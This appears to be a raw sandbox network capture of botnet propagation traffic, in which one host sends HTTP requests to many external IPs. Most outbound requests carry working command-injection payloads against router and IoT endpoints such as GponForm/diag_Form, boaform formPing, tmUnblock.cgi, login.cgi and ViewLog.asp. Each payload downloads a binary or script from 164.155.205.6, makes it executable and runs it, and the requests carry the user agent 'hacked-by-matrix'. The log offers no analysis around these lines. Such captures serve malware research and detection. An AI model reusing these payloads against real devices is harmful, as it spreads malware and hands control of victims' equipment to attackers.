Mar 2, 2024 12:38:43.674434900 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:43 GMT Date: Sat, 02 Mar 2024 11:38:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 37 35 32 61 32 35 30 31 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 33 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.752a2501.1709379523.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1672	192.168.2.23	58004	83.168.248.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:43.513892889 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:43.701993942 CET	156	IN	HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Sat, 02 Mar 2024 11:38:43 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1673	192.168.2.23	51342	172.65.105.98	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:43.811079025 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1674	192.168.2.23	59412	94.237.45.129	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:44.284029961 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:55.508333921 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:55.673080921 CET	381	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:55 GMT Content-Type: text/html Content-Length: 150 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1675	192.168.2.23	37672	178.21.180.12	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:44.542493105 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:47.576931000 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1676	192.168.2.23	54684	212.83.51.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:45.218884945 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:45.395014048 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1677	192.168.2.23	59074	212.103.38.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:45.255142927 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:45.460210085 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:39:32 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1678	192.168.2.23	43432	72.247.197.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:45.397937059 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:46.325643063 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:46.510634899 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Sat, 02 Mar 2024 11:38:46 GMT Date: Sat, 02 Mar 2024 11:38:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 66 30 31 32 30 32 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 36 26 23 34 36 3b 33 35 33 38 37 61 38 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5ff01202.1709379526.35387a81</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1679	192.168.2.23	47498	212.85.114.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:45.443370104 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:46.421669006 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:46.618606091 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>
Mar 2, 2024 12:38:52.738728046 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1680	192.168.2.23	48918	181.215.188.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.097596884 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1681	192.168.2.23	54588	206.125.129.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.100570917 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:46.208750010 CET	340	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.6.2 Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 172 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.6.2</center></body></html>
Mar 2, 2024 12:38:46.208834887 CET	335	IN	HTTP/1.1 400 Bad Request Server: nginx/1.6.2 Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.6.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1682	192.168.2.23	42042	80.209.141.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.156208992 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:46.327837944 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1683	192.168.2.23	54802	178.77.84.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.176615953 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:46.351886988 CET	183	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 2867 Connection: keep-alive ETag: "6391baca-b33"
Mar 2, 2024 12:38:46.352066040 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta name="robots" content="noarchive"> <meta name="robots" content="noindex, follow"> <meta name="revisit-after
Mar 2, 2024 12:38:46.352083921 CET	1286	IN	Data Raw: 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 20 68 65 69 67 68 74 3a 31 30 70 78 3b 22 3e 0a 20 20 20 20 3c 74 64 3e 0a 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 67 6c 6f 62 61 6c 68 65 72 65 72 72 6f 72 64 6f 63 Data Ascii: le="vertical-align:top; height:10px;"> <td> <img src="/globalhererrordocuments/tabspace5x5.gif" width="10" height="10" alt=""> </td> </tr> <tr style="vertical-align:top;"> <td style="width:10px;"></td> <td class="all"
Mar 2, 2024 12:38:46.352101088 CET	626	IN	Data Raw: 3b 22 3e 54 68 69 73 20 73 69 74 65 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 77 65 Data Ascii: ;">This site is temporarily unavailable.</h2> <h3 style="font-weight:normal;font-size:142%;">Please try again later.</h3> </td> </tr> </table> </td>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1684	192.168.2.23	53536	178.62.250.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.176852942 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
